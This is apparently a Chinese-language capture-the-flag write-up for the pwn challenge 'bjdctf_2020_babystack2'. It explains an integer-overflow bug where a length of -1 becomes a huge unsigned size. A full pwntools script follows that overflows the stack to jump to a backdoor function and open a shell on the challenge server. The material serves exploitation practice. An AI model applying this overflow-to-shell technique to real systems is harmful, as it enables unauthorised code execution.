这道题轻松,最近遇到最简单的题目了
64位小端序程序
逻辑很简单输入一个数字就是下个字符串的长度,这里nbytes定义两边不一样
噢,这里说一下size_t是32位下是4个字节的无符号整数类型 64位下是8个字节的无符号整数类型
整数溢出漏洞
还有后门函数
贴代码贴代码
from LibcSearcher import LibcSearcher
from pwn import *
context.log_level = 'debug'
#io = process("./bjdctf_2020_babystack2")
io = remote("node4.buuoj.cn",29999)
elf = ELF("./bjdctf_2020_babystack2")
system_addr = 0x000000000040072A
offest = 0x10
io.recvuntil('[+]Please input the length of your name:')
io.sendline('-1')
io.recvuntil("[+]What's u name?")
payload = b'a'*(offest+0x8)+p64(system_addr)
io.sendline(payload)
io.interactive()
舒服了,,,,